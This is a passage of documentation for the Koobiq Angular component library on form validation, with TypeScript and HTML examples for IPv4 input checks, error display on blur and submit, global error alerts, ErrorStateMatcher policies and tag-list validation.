    /^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$/;

const restSymbolsRegex = /[^0-9.]+/g;

@Injectable()
export class CustomErrorStateMatcher implements ErrorStateMatcher {
    isErrorState(control: AbstractControl | null, form: FormGroupDirective | NgForm | null): boolean {
        return !!(control?.invalid && control.touched && (form?.submitted ?? true));
    }
}

@Directive({
    selector: '[exampleResetTouchedOnFirstInput]',
    exportAs: 'exampleResetTouchedOnFirstInput'
})
class ExampleResetTouchedOnFirstInput {
    protected readonly elementRef = inject<ElementRef<HTMLElement>>(ElementRef);
    protected readonly control = inject(NgControl, { optional: true, host: true });

    constructor() {
        const inputEvent = fromEvent(this.elementRef.nativeElement, 'input').pipe(take(1));

        fromEvent(this.elementRef.nativeElement, 'focus')
            .pipe(
                switchMap(() => inputEvent),
                takeUntilDestroyed()
            )
            .subscribe(() => {
                if (this.control?.control) {
                    this.control.control.markAsUntouched();
                }
            });
    }
}

@Component({
    selector: 'validation-on-blur-filled-example',
    imports: [
        ReactiveFormsModule,
        KbqInputModule,
        KbqToolTipModule,
        ExampleResetTouchedOnFirstInput
    ],
    template: `
        <kbq-form-field style="width: 320px;">
            <kbq-label>IPv4-address</kbq-label>
            <input
                kbqInput
                exampleResetTouchedOnFirstInput
                [formControl]="ipAddressControl"
                [kbqEnterDelay]="10"
                [kbqPlacement]="popUpPlacements.Top"
                [kbqTrigger]="'manual'"
                [kbqTooltip]="'Numbers and dot only'"
                [kbqTooltipColor]="colors.Error"
                (blur)="onBlur()"
                (input)="onInput($event)"
            />

            <kbq-error>The IP address does not comply with RFC standards</kbq-error>

            <kbq-cleaner />
        </kbq-form-field>
    `,
    providers: [
        kbqErrorStateMatcherProvider(CustomErrorStateMatcher)
    ],
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-margin-5xl layout-align-center-center layout-row'
    }
})
export class ValidationOnBlurFilledExample {
    protected readonly tooltip = viewChild(KbqTooltipTrigger);
    protected readonly ipAddressControl = new FormControl('123...12123123', [
        Validators.pattern(IP_PATTERN)
    ]);

    constructor() {
        afterNextRender(() => {
            this.ipAddressControl.markAsTouched();
            this.ipAddressControl.updateValueAndValidity();
        });
    }

    protected readonly colors = KbqComponentColors;
    protected readonly popUpPlacements = PopUpPlacements;

    protected onInput(event: Event): void {
        if (!(event.target instanceof HTMLInputElement)) return;

        const { value } = event.target;
        const allowedValue = value.replace(restSymbolsRegex, '');

        // A valid character leaves nothing to filter out, so the hint goes as soon as one is typed.
        if (allowedValue === value) {
            this.tooltip()?.hide();

            return;
        }

        this.ipAddressControl.setValue(allowedValue);
        this.tooltip()?.show();
    }

    protected onBlur(): void {
        this.tooltip()?.hide();
    }
}
```

##### On form submission

By default, errors are shown only for **invalid** (incorrectly filled) fields after the user interacts with them.
To display errors immediately after form submission, use `ShowOnFormSubmitErrorStateMatcher` — an implementation of [ErrorStateMatcher](https://github.com/koobiq/angular-components/blob/main/packages/components/core/error/error-state-matcher.ts).

Used for checking empty required fields and things that can't be validated client-side.

The submit button is **not disabled**, even if the form is empty or contains invalid fields. When clicked, validation and submission are triggered. The button enters a **Progress** state during submission. You can also display a [Loader Overlay](https://koobiq.io/en/components/loader-overlay.md) over the form during this time.

If validation fails, focus is set to the first field with an error. If the error isn't tied to a specific field, show an alert above the form and focus on it — ensuring visibility even if the form's top section is off-screen.

If the same alert message remains valid on repeated submissions, don't hide and re-show it — instead, fade it out and back in while re-focusing.

**Example: Validation on submit** (`validation-on-submit`)

```ts validation-on-submit-example.ts
import { FocusMonitor, FocusOrigin } from '@angular/cdk/a11y';
import {
    AfterViewInit,
    ChangeDetectionStrategy,
    Component,
    ElementRef,
    inject,
    OnDestroy,
    signal,
    viewChild,
    viewChildren
} from '@angular/core';
import { FormControl, FormGroup, ReactiveFormsModule, Validators } from '@angular/forms';
import { KbqAlertModule } from '@koobiq/components/alert';
import { KbqButtonModule } from '@koobiq/components/button';
import {
    kbqErrorStateMatcherProvider,
    KbqFormsModule,
    ShowOnFormSubmitErrorStateMatcher
} from '@koobiq/components/core';
import { KbqFormField } from '@koobiq/components/form-field';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqInputModule } from '@koobiq/components/input';

@Component({
    selector: 'validation-on-submit-example',
    imports: [
        KbqAlertModule,
        KbqIconModule,
        ReactiveFormsModule,
        KbqInputModule,
        KbqButtonModule,
        KbqFormsModule
    ],
    template: `
        <div class="example-container">
            <div
                #alertContainer
                class="example-alert__container"
                tabindex="0"
                [class.example-alert__container_hidden]="!showServerErrors()"
                [class.layout-margin-bottom-l]="showServerErrors()"
            >
                <kbq-alert class="example-alert" alertColor="error" alertStyle="colored" [compact]="true">
                    <i color="error" kbq-icon="kbq-circle-info_16"></i>
                    The server didn’t respond while sending data. Please try again.
                </kbq-alert>
            </div>

            <form
                class="kbq-form-vertical"
                novalidate
                [formGroup]="globalErrorForm"
                (input)="showServerErrors.set(false)"
                (ngSubmit)="submitForm()"
            >
                <div class="kbq-form__fieldset">
                    <div class="kbq-form__row">
                        <kbq-form-field>
                            <kbq-label>Name</kbq-label>
                            <input formControlName="firstName" kbqInput />
                        </kbq-form-field>
                    </div>

                    <div class="kbq-form__row layout-margin-bottom-xxl">
                        <kbq-form-field>
                            <kbq-label>Last name</kbq-label>
                            <input formControlName="lastName" kbqInput />
                        </kbq-form-field>
                    </div>

                    <div class="kbq-form__row layout-align-start-start">
                        <button
                            #submitButton
                            color="contrast"
                            kbq-button
                            type="submit"
                            [class.kbq-progress]="inProgress()"
                            [disabled]="inProgress()"
                            (keydown.enter)="submitOrigin = 'keyboard'"
                            (keydown.space)="submitOrigin = 'keyboard'"
                            (mouseleave)="submitOrigin = 'mouse'"
                        >
                            Submit
                        </button>
                    </div>
                </div>
            </form>
        </div>
    `,
    styles: `
        .example-alert {
            transition: opacity 50ms ease-in-out;
        }

        .example-alert.example-alert_in-progress {
            opacity: var(--kbq-opacity-disabled);
        }

        .example-container {
            width: 320px;
        }

        form {
            width: 100%;
            padding: 1px;
        }

        .example-alert__container {
            border: 2px solid transparent;
            border-radius: 14px;
        }

        .example-alert__container_hidden {
            border: 0;
            overflow: hidden;
            height: 0;
        }

        .example-alert__container.cdk-mouse-focused:focus-visible {
            border-color: transparent;
            outline: none;
        }

        .example-alert__container.cdk-keyboard-focused:focus-visible {
            border-color: var(--kbq-states-line-focus);
            outline: none;
        }
    `,
    providers: [
        kbqErrorStateMatcherProvider(ShowOnFormSubmitErrorStateMatcher)
    ],
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-margin-5xl layout-align-center-center layout-column'
    }
})
export class ValidationOnSubmitExample implements AfterViewInit, OnDestroy {
    protected readonly alertContainer = viewChild<ElementRef<HTMLDivElement>>('alertContainer');

    protected readonly showServerErrors = signal(false);
    protected readonly inProgress = signal(false);
    protected readonly globalErrorForm = new FormGroup({
        firstName: new FormControl('', [Validators.required]),
        lastName: new FormControl('')
    });

    protected readonly focusMonitor = inject(FocusMonitor);
    protected submitOrigin: FocusOrigin | null = null;
    private readonly formFieldList = viewChildren(KbqFormField);

    ngAfterViewInit() {
        const alert = this.alertContainer();

        if (alert) {
            this.focusMonitor.monitor(alert.nativeElement);
        }
    }

    ngOnDestroy(): void {
        const alert = this.alertContainer();

        if (alert) {
            this.focusMonitor.stopMonitoring(alert.nativeElement);
        }
    }

    submitForm(): void {
        if (this.globalErrorForm.invalid) {
            this.focusFirstInvalidControl();

            return;
        }

        this.inProgress.set(true);

        setTimeout(() => {
            this.inProgress.set(false);
            this.showServerErrors.set(Math.random() > 0.5);

            const alert = this.alertContainer();

            if (this.showServerErrors() && alert) {
                this.focusMonitor.focusVia(alert.nativeElement, this.submitOrigin);
                this.submitOrigin = null;
            }
        }, 1000);
    }

    private focusFirstInvalidControl(): void {
        setTimeout(() => {
            const invalidControl = this.formFieldList().find((control) => control.invalid);

            invalidControl?.focus();
        });
    }
}
```

#### Error messages

##### Field-specific message

Field-level error messages are shown below the field, **before** any helper text. If the error message duplicates the helper text, you can replace one with the other.

**Example: Validation message for specific field** (`validation-message-for-specific-field`)

```ts validation-message-for-specific-field-example.ts
import { ChangeDetectionStrategy, Component, viewChildren } from '@angular/core';
import { FormControl, FormGroup, ReactiveFormsModule, Validators } from '@angular/forms';
import { KbqButtonModule } from '@koobiq/components/button';
import {
    kbqErrorStateMatcherProvider,
    KbqFormsModule,
    ShowOnFormSubmitErrorStateMatcher
} from '@koobiq/components/core';
import { KbqFormField } from '@koobiq/components/form-field';
import { KbqInputModule } from '@koobiq/components/input';

@Component({
    selector: 'validation-message-for-specific-field-example',
    imports: [
        ReactiveFormsModule,
        KbqInputModule,
        KbqButtonModule,
        KbqFormsModule
    ],
    template: `
        <form class="kbq-form-vertical" novalidate [formGroup]="form" (ngSubmit)="onSubmit()">
            <div class="kbq-form__fieldset">
                <div class="kbq-form__row">
                    <kbq-form-field>
                        <kbq-label>The error message appears above the hint</kbq-label>
                        <input formControlName="first" kbqInput />

                        <kbq-error>Required</kbq-error>

                        <kbq-hint>Hint under the field</kbq-hint>
                    </kbq-form-field>
                </div>

                <div class="kbq-form__row layout-margin-bottom-xxl">
                    <kbq-form-field>
                        <kbq-label>The error message replaces the hint</kbq-label>
                        <input #input="kbqInput" formControlName="last" kbqInput />

                        @if (input.errorState()) {
                            <kbq-error>Required</kbq-error>
                        } @else {
                            <kbq-hint>Hint under the field</kbq-hint>
                        }
                    </kbq-form-field>
                </div>

                <div class="kbq-form__row layout-align-start-start">
                    <button color="contrast" kbq-button type="submit">Submit</button>
                </div>
            </div>
        </form>
    `,
    styles: `
        form {
            width: 320px;
            padding: 1px;
        }
    `,
    providers: [
        kbqErrorStateMatcherProvider(ShowOnFormSubmitErrorStateMatcher)
    ],
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-margin-5xl layout-align-center-center layout-row'
    }
})
export class ValidationMessageForSpecificFieldExample {
    protected readonly form = new FormGroup({
        first: new FormControl('', [Validators.required]),
        last: new FormControl('', [Validators.required])
    });

    private readonly formFieldList = viewChildren(KbqFormField);

    onSubmit(): void {
        this.focusFirstInvalidControl();
    }

    private focusFirstInvalidControl(): void {
        setTimeout(() => {
            const invalidControl = this.formFieldList().find((control) => control.invalid);

            invalidControl?.focus();
        });
    }
}
```

You don't always need to display an error message just for a required field — marking it as invalid may be enough.

**Example: Validation no message** (`validation-no-message`)

```ts validation-no-message-example.ts
import { ChangeDetectionStrategy, Component, viewChildren } from '@angular/core';
import { FormControl, FormGroup, ReactiveFormsModule, Validators } from '@angular/forms';
import { KbqButtonModule } from '@koobiq/components/button';
import {
    kbqErrorStateMatcherProvider,
    KbqFormsModule,
    ShowOnFormSubmitErrorStateMatcher
} from '@koobiq/components/core';
import { KbqFormField } from '@koobiq/components/form-field';
import { KbqInputModule } from '@koobiq/components/input';

@Component({
    selector: 'validation-no-message-example',
    imports: [
        ReactiveFormsModule,
        KbqInputModule,
        KbqButtonModule,
        KbqFormsModule
    ],
    template: `
        <form class="kbq-form-vertical" novalidate [formGroup]="form" (ngSubmit)="onSubmit()">
            <div class="kbq-form__fieldset">
                <div class="kbq-form__row">
                    <kbq-form-field>
                        <kbq-label>Address</kbq-label>
                        <input formControlName="first" kbqInput />
                    </kbq-form-field>
                </div>

                <div class="kbq-form__row layout-margin-bottom-xxl">
                    <kbq-form-field>
                        <kbq-label>Comment</kbq-label>
                        <input formControlName="last" kbqInput />
                    </kbq-form-field>
                </div>

                <div class="kbq-form__row layout-align-start-start">
                    <button color="contrast" kbq-button type="submit">Submit</button>
                </div>
            </div>
        </form>
    `,
    styles: `
        form {
            width: 320px;
            padding: 1px;
        }
    `,
    providers: [
        kbqErrorStateMatcherProvider(ShowOnFormSubmitErrorStateMatcher)
    ],
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-margin-5xl layout-align-center-center layout-row'
    }
})
export class ValidationNoMessageExample {
    protected readonly form = new FormGroup({
        first: new FormControl('', [Validators.required]),
        last: new FormControl('')
    });

    private readonly formFieldList = viewChildren(KbqFormField);

    onSubmit(): void {
        this.focusFirstInvalidControl();
    }

    private focusFirstInvalidControl(): void {
        setTimeout(() => {
            const invalidControl = this.formFieldList().find((control) => control.invalid);

            invalidControl?.focus();
        });
    }
}
```

##### Global message

General form errors are shown in an alert **above the first field** and focused. The alert appears higher than any informational blocks above the form fields.

In this example, the message appears after clicking the submit button. For mouse users, scrolling to the alert is enough — no need to show a visible focus outline. If the button is activated via keyboard, show a visible focus outline on the alert.

**Example: Validation message global** (`validation-message-global`)

```ts validation-message-global-example.ts
import { FocusMonitor, FocusOrigin } from '@angular/cdk/a11y';
import {
    afterNextRender,
    AfterViewInit,
    ChangeDetectionStrategy,
    Component,
    ElementRef,
    inject,
    Injector,
    OnDestroy,
    signal,
    viewChild,
    viewChildren
} from '@angular/core';
import { FormControl, FormGroup, ReactiveFormsModule, Validators } from '@angular/forms';
import { KbqAlertModule } from '@koobiq/components/alert';
import { KbqButtonModule } from '@koobiq/components/button';
import {
    kbqErrorStateMatcherProvider,
    KbqFormsModule,
    ShowOnFormSubmitErrorStateMatcher
} from '@koobiq/components/core';
import { KbqFormField } from '@koobiq/components/form-field';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqInputModule } from '@koobiq/components/input';
import { KbqLoaderOverlayModule } from '@koobiq/components/loader-overlay';

@Component({
    selector: 'validation-message-global-example',
    imports: [
        KbqAlertModule,
        KbqIconModule,
        ReactiveFormsModule,
        KbqInputModule,
        KbqButtonModule,
        KbqFormsModule,
        KbqLoaderOverlayModule
    ],
    template: `
        <div class="example-container">
            @if (inProgress()) {
                <kbq-loader-overlay [size]="'compact'" />
            }

            <div
                #alertContainer
                class="example-alert__container"
                tabindex="0"
                [class.example-alert__container_hidden]="!showServerErrors()"
                [class.layout-margin-bottom-l]="showServerErrors()"
            >
                <kbq-alert class="example-alert" alertColor="error" alertStyle="colored" [compact]="true">
                    <i color="error" kbq-icon="kbq-circle-info_16"></i>
                    The server didn’t respond while sending data. Please try again.
                </kbq-alert>
            </div>

            <form class="kbq-form-vertical" novalidate [formGroup]="globalErrorForm" (ngSubmit)="submitForm()">
                <div class="kbq-form__fieldset">
                    <div class="kbq-form__row">
                        <kbq-form-field>
                            <kbq-label>Name</kbq-label>
                            <input formControlName="firstName" kbqInput />
                        </kbq-form-field>
                    </div>

                    <div class="kbq-form__row layout-margin-bottom-xxl">
                        <kbq-form-field>
                            <kbq-label>Last name</kbq-label>
                            <input formControlName="lastName" kbqInput />
                        </kbq-form-field>
                    </div>

                    <div class="kbq-form__row layout-align-start-start">
                        <button
                            #submitButton
                            color="contrast"
                            kbq-button
                            type="submit"
                            [class.kbq-progress]="inProgress()"
                            [disabled]="inProgress()"
                            (keydown.enter)="submitOrigin = 'keyboard'"
                            (keydown.space)="submitOrigin = 'keyboard'"
                            (mouseleave)="submitOrigin = 'mouse'"
                        >
                            Submit
                        </button>
                    </div>
                </div>
            </form>
        </div>
    `,
    styles: `
        .example-container {
            width: 320px;
        }

        form {
            width: 100%;
        }

        .example-alert__container {
            border: 2px solid transparent;
            border-radius: 14px;
        }

        .example-alert__container_hidden {
            border: 0;
            overflow: hidden;
            height: 0;
        }

        .example-alert__container.cdk-mouse-focused:focus-visible {
            border-color: transparent;
            outline: none;
        }

        .example-alert__container.cdk-keyboard-focused:focus-visible {
            border-color: var(--kbq-states-line-focus);
            outline: none;
        }
    `,
    providers: [
        kbqErrorStateMatcherProvider(ShowOnFormSubmitErrorStateMatcher)
    ],
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-margin-5xl layout-align-center-center layout-column'
    }
})
export class ValidationMessageGlobalExample implements AfterViewInit, OnDestroy {
    protected readonly alertContainer = viewChild<ElementRef<HTMLDivElement>>('alertContainer');

    protected readonly showServerErrors = signal(false);
    protected readonly inProgress = signal(false);
    protected readonly globalErrorForm = new FormGroup({
        firstName: new FormControl('John', [Validators.required]),
        lastName: new FormControl('Smith')
    });

    protected readonly focusMonitor = inject(FocusMonitor);
    private readonly injector = inject(Injector);
    protected submitOrigin: FocusOrigin | null = null;
    private readonly formFieldList = viewChildren(KbqFormField);
    private submitTimeout: ReturnType<typeof setTimeout> | undefined;

    ngAfterViewInit() {
        const alert = this.alertContainer();

        if (alert) {
            this.focusMonitor.monitor(alert.nativeElement);
        }
    }

    ngOnDestroy(): void {
        clearTimeout(this.submitTimeout);

        const alert = this.alertContainer();

        if (alert) {
            this.focusMonitor.stopMonitoring(alert.nativeElement);
        }
    }

    submitForm(): void {
        if (this.globalErrorForm.invalid) {
            this.showServerErrors.set(false);
            this.focusFirstInvalidControl();

            return;
        }

        this.inProgress.set(true);

        this.submitTimeout = setTimeout(() => {
            this.inProgress.set(false);
            this.showServerErrors.set(true);

            // The alert stays inert until the loader overlay is removed from the DOM.
            afterNextRender(
                () => {
                    const alert = this.alertContainer();

                    if (alert) {
                        this.focusMonitor.focusVia(alert.nativeElement, this.submitOrigin);
                        this.submitOrigin = null;
                    }
                },
                { injector: this.injector }
            );
        }, 2000);
    }

    private focusFirstInvalidControl(): void {
        setTimeout(() => {
            const invalidControl = this.formFieldList().find((control) => control.invalid);

            invalidControl?.focus();
        });
    }
}
```

##### One required field from several

Some forms require at least **one** of several fields to be filled. In this case, fields aren't marked as invalid after submission. Instead, a general error alert appears above the form. You can list the problematic fields and include pseudo-links to move focus to them.

**Example: Validation message global with links** (`validation-message-global-with-links`)

```ts validation-message-global-with-links-example.ts
import { ChangeDetectionStrategy, Component, signal } from '@angular/core';
import { FormControl, FormGroup, FormsModule, ReactiveFormsModule } from '@angular/forms';
import { KbqAlertModule } from '@koobiq/components/alert';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqFormsModule, PopUpPlacements } from '@koobiq/components/core';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqInputModule } from '@koobiq/components/input';
import { KbqLink } from '@koobiq/components/link';
import { KbqToolTipModule, KbqTooltipTrigger } from '@koobiq/components/tooltip';

const restSymbolsRegex = /[^0-9]+/g;

@Component({
    selector: 'validation-message-global-with-links-example',
    imports: [
        ReactiveFormsModule,
        KbqAlertModule,
        KbqIconModule,
        KbqInputModule,
        KbqButtonModule,
        KbqFormsModule,
        KbqLink,
        KbqToolTipModule,
        FormsModule
    ],
    templateUrl: 'validation-message-global-with-links-example.html',
    styles: `
        form {
            width: 320px;
            padding: 1px;
        }

        .example-alert {
            transition: opacity 50ms ease-in-out;
        }

        .example-alert.example-alert_in-progress {
            opacity: var(--kbq-opacity-disabled);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-margin-5xl layout-align-center-center layout-column'
    }
})
export class ValidationMessageGlobalWithLinksExample {
    protected readonly popUpPlacements = PopUpPlacements;

    protected readonly inProgress = signal(false);
    protected readonly showError = signal(false);
    protected readonly form = new FormGroup({
        series: new FormControl(''),
        number: new FormControl(''),
        lastName: new FormControl(''),
        firstName: new FormControl(''),
        patronymic: new FormControl('')
    });

    onInput(event: Event, tooltip: KbqTooltipTrigger, control: FormControl): void {
        if (event.target instanceof HTMLInputElement && event.target.value && /\D/.test(event.target.value)) {
            control.setValue(event.target.value.replace(restSymbolsRegex, ''));

            if (!tooltip.isOpen) {
                tooltip.show();

                setTimeout(() => tooltip.hide(), 3000);
            }
        }
    }

    submitForm() {
        this.inProgress.set(true);

        setTimeout(() => {
            this.checkForm();
            this.inProgress.set(false);
        }, 1000);
    }

    checkForm() {
        this.showError.set(!this.isAnyRequiredFieldFilled());
    }

    // Bound to the form's bubbling input rather than to valueChanges: by then onInput has already stripped
    // the non-digits that Series and Number hold for a moment.
    hideErrorOnceFilled(): void {
        if (this.isAnyRequiredFieldFilled()) {
            this.showError.set(false);
        }
    }

    private isAnyRequiredFieldFilled(): boolean {
        const { series, number, lastName } = this.form.controls;

        return [series, number, lastName].some((control) => control.value);
    }
}
```

```html validation-message-global-with-links-example.html
<form novalidate class="kbq-form-vertical" [formGroup]="form" (input)="hideErrorOnceFilled()" (ngSubmit)="submitForm()">
    @if (showError()) {
        <kbq-alert
            alertColor="error"
            alertStyle="colored"
            class="example-alert layout-margin-bottom-l"
            [class.example-alert_in-progress]="inProgress()"
            [compact]="true"
        >
            <i kbq-icon="kbq-circle-info_16" [color]="'error'"></i>
            <span>
                Fill in at least one of the fields:
                <span kbqLink (click)="seriesInput.focus()">Series,</span>
                <span>&nbsp;</span>
                <span kbqLink (click)="numberInput.focus()">Number</span>
                or
                <span kbqLink (click)="lastNameInput.focus()">Last name</span>
            </span>
        </kbq-alert>
    }

    <div class="kbq-form__fieldset layout-margin-bottom-xxl">
        <div class="kbq-form__fieldset kbq-horizontal">
            <div class="kbq-form__row flex-25">
                <kbq-form-field class="kbq-form__control">
                    <kbq-label>Series</kbq-label>
                    <input
                        #seriesInput
                        #seriesTooltip="kbqTooltip"
                        formControlName="series"
                        kbqInput
                        name="input"
                        kbqTooltipColor="error"
                        [kbqEnterDelay]="10"
                        [kbqPlacement]="popUpPlacements.Top"
                        [kbqTooltip]="'Only numbers'"
                        [kbqTrigger]="'manual'"
                        (blur)="seriesTooltip.hide()"
                        (input)="onInput($event, seriesTooltip, form.controls.series)"
                    />
                </kbq-form-field>
            </div>

            <div class="kbq-form__row flex-40">
                <kbq-form-field class="kbq-form__control">
                    <kbq-label>Number</kbq-label>
                    <input
                        #numberInput
                        #numberTooltip="kbqTooltip"
                        formControlName="number"
                        kbqInput
                        name="input"
                        kbqTooltipColor="error"
                        [kbqEnterDelay]="10"
                        [kbqPlacement]="popUpPlacements.Top"
                        [kbqTooltip]="'Only numbers'"
                        [kbqTrigger]="'manual'"
                        (blur)="numberTooltip.hide()"
                        (input)="onInput($event, numberTooltip, form.controls.number)"
                    />
                </kbq-form-field>
            </div>
        </div>

        <div class="kbq-form__row">
            <kbq-form-field class="kbq-form__control">
                <kbq-label>Last name</kbq-label>
                <input #lastNameInput formControlName="lastName" kbqInput name="input" />
            </kbq-form-field>
        </div>

        <div class="kbq-form__row">
            <kbq-form-field class="kbq-form__control">
                <kbq-label>Name</kbq-label>
                <input formControlName="firstName" kbqInput name="input" />

                <kbq-hint>Optional</kbq-hint>
            </kbq-form-field>
        </div>

        <div class="kbq-form__row">
            <kbq-form-field class="kbq-form__control">
                <kbq-label>Patronymic</kbq-label>
                <input formControlName="patronymic" kbqInput name="input" />

                <kbq-hint>Optional</kbq-hint>
            </kbq-form-field>
        </div>
    </div>

    <div class="kbq-form__row layout-align-start-start">
        <button color="contrast" kbq-button type="submit" [class.kbq-progress]="inProgress()" [disabled]="inProgress()">
            Submit
        </button>
    </div>
</form>
```

### Examples

#### Validation methods

Angular validators define **what** is invalid — they set error keys on the `FormControl` (`required`, `minlength`, etc.). They do not control **when** those errors are shown to the user. Without any additional mechanism, errors would appear immediately when the page loads, before the user has touched anything.

Koobiq solves this with `ErrorStateMatcher`.

##### ErrorStateMatcher

`ErrorStateMatcher` is a pure display policy. It reads the control's existing errors and the form's submission state, then answers a single question: **should the error be visible right now?**

Validators and the `FormControl` remain unchanged — `ErrorStateMatcher` never adds or removes errors. It only decides when `kbq-form-field` should reveal the `<kbq-error>` children and apply the `kbq-form-field_invalid` CSS class.

In other words, **errors belong to the `FormControl`**. For a required field that starts empty, `control.hasError('required')` returns `true` as soon as the control is created. `ErrorStateMatcher` only decides when to tell the user about it.

**Registration:**

Apply a matcher to all controls inside a component via providers:

```ts
@Component({
    providers: [kbqErrorStateMatcherProvider(ShowOnFormSubmitErrorStateMatcher)]
})
```

Override for a single control using the `[errorStateMatcher]` input (supported by `kbq-tag-list`, `kbq-file-upload`, and similar):

```html
<kbq-file-upload [errorStateMatcher]="myMatcher" ... />
```

#### Displaying errors

##### Single validator

**Example: Validation: single validator** (`validation-basic-single-validator`)

```ts validation-basic-single-validator-example.ts
import { ChangeDetectionStrategy, Component, viewChildren } from '@angular/core';
import { FormControl, FormGroup, ReactiveFormsModule, Validators } from '@angular/forms';
import { KbqButtonModule } from '@koobiq/components/button';
import {
    kbqErrorStateMatcherProvider,
    KbqFormsModule,
    ShowOnFormSubmitErrorStateMatcher
} from '@koobiq/components/core';
import { KbqFormField } from '@koobiq/components/form-field';
import { KbqInputModule } from '@koobiq/components/input';

@Component({
    selector: 'validation-basic-single-validator-example',
    imports: [ReactiveFormsModule, KbqInputModule, KbqButtonModule, KbqFormsModule],
    template: `
        <form class="kbq-form-vertical" [formGroup]="form" (ngSubmit)="onSubmit()">
            <div class="kbq-form__fieldset">
                <div class="kbq-form__row">
                    <kbq-form-field>
                        <kbq-label>Name</kbq-label>
                        <input formControlName="name" kbqInput />

                        <kbq-error>Required</kbq-error>
                    </kbq-form-field>
                </div>

                <div class="kbq-form__row layout-align-start-start">
                    <button color="contrast" kbq-button type="submit">Submit</button>
                </div>
            </div>
        </form>
    `,
    styles: `
        form {
            width: 320px;
        }
    `,
    providers: [
        kbqErrorStateMatcherProvider(ShowOnFormSubmitErrorStateMatcher)
    ],
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-margin-5xl layout-align-center-center layout-row'
    }
})
export class ValidationBasicSingleValidatorExample {
    protected readonly form = new FormGroup({
        name: new FormControl('', [Validators.required])
    });

    private readonly formFieldList = viewChildren(KbqFormField);

    onSubmit(): void {
        setTimeout(() => {
            this.formFieldList()
                .find((f) => f.invalid)
                ?.focus();
        });
    }
}
```

##### Multiple validators

**Example: Validation: multiple validators** (`validation-basic-multiple-validators`)

```ts validation-basic-multiple-validators-example.ts
import { ChangeDetectionStrategy, Component, viewChildren } from '@angular/core';
import { FormControl, FormGroup, ReactiveFormsModule, Validators } from '@angular/forms';
import { KbqButtonModule } from '@koobiq/components/button';
import {
    kbqErrorStateMatcherProvider,
    KbqFormsModule,
    ShowOnFormSubmitErrorStateMatcher
} from '@koobiq/components/core';
import { KbqFormField } from '@koobiq/components/form-field';
import { KbqInputModule } from '@koobiq/components/input';

@Component({
    selector: 'validation-basic-multiple-validators-example',
    imports: [ReactiveFormsModule, KbqInputModule, KbqButtonModule, KbqFormsModule],
    template: `
        <form class="kbq-form-vertical" [formGroup]="form" (ngSubmit)="onSubmit()">
            <div class="kbq-form__fieldset">
                <div class="kbq-form__row">
                    <kbq-form-field>
                        <kbq-label>Username</kbq-label>
                        <input formControlName="username" kbqInput />

                        @if (form.controls.username.hasError('required')) {
                            <kbq-error>Required</kbq-error>
                        } @else if (form.controls.username.hasError('minlength')) {
                            <kbq-error>Minimum 5 characters</kbq-error>
                        } @else if (form.controls.username.hasError('maxlength')) {
                            <kbq-error>Maximum 20 characters</kbq-error>
                        }
                    </kbq-form-field>
                </div>

                <div class="kbq-form__row layout-align-start-start">
                    <button color="contrast" kbq-button type="submit">Submit</button>
                </div>
            </div>
        </form>
    `,
    styles: `
        form {
            width: 320px;
        }
    `,
    providers: [
        kbqErrorStateMatcherProvider(ShowOnFormSubmitErrorStateMatcher)
    ],
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-margin-5xl layout-align-center-center layout-row'
    }
})
export class ValidationBasicMultipleValidatorsExample {
    protected readonly form = new FormGroup({
        username: new FormControl('', [Validators.required, Validators.minLength(5), Validators.maxLength(20)])
    });

    private readonly formFieldList = viewChildren(KbqFormField);

    onSubmit(): void {
        setTimeout(() => {
            this.formFieldList()
                .find((f) => f.invalid)
                ?.focus();
        });
    }
}
```

#### Components

##### Tag list

`kbq-tag-list` supports `ErrorStateMatcher` and integrates with `kbq-form-field` the same way as other controls.

**Example: Validation tag list** (`validation-tag-list`)

```ts validation-tag-list-example.ts
import { COMMA, ENTER } from '@angular/cdk/keycodes';
import { ChangeDetectionStrategy, Component, inject, OnInit } from '@angular/core';
import {
    AbstractControl,
    FormBuilder,
    FormGroup,
    ReactiveFormsModule,
    ValidationErrors,
    ValidatorFn,
    Validators
} from '@angular/forms';
import { KbqButtonModule } from '@koobiq/components/button';
import { kbqErrorStateMatcherProvider, ShowOnFormSubmitErrorStateMatcher } from '@koobiq/components/core';
import { KbqIcon } from '@koobiq/components/icon';
import { KbqInputModule } from '@koobiq/components/input';
import { KbqTagInputEvent, KbqTagsModule } from '@koobiq/components/tags';
import { KbqToolTipModule } from '@koobiq/components/tooltip';

const LATIN_PATTERN = /^[a-zA-Z]+$/;

/** Validators live on `<kbq-tag-list>`, so the control value is the whole tag array. */
const latinValidator = (): ValidatorFn => {
    return ({ value }: AbstractControl<string[] | null>): ValidationErrors | null => {
        const invalidTags = (value || []).filter((tag) => !LATIN_PATTERN.test(tag));

        return invalidTags.length ? { latin: { invalidTags } } : null;
    };
};

@Component({
    selector: 'validation-tag-list-example',
    imports: [
        ReactiveFormsModule,
        KbqInputModule,
        KbqToolTipModule,
        KbqButtonModule,
        KbqIcon,
        KbqTagsModule
    ],
    template: `
        <form
            novalidate
            style="width: 320px"
            [formGroup]="reactiveForm"
            (ngSubmit)="onSubmitReactiveForm(reactiveForm)"
        >
            <kbq-form-field class="layout-margin-bottom-l">
                <kbq-tag-list #inputTagList formControlName="reactiveTypeaheadValue">
                    @for (tag of reactiveForm.controls['reactiveTypeaheadValue'].value; track tag) {
                        <kbq-tag [value]="tag" (removed)="reactiveInputOnRemoveTag(tag)">
                            {{ tag }}
                            <i kbq-icon="kbq-xmark-s_16" kbqTagRemove></i>
                        </kbq-tag>
                    }
                    <input
                        autocomplete="off"
                        placeholder="New tag..."
                        [kbqTagInputFor]="inputTagList"
                        [kbqTagInputSeparatorKeyCodes]="separatorKeysCodes"
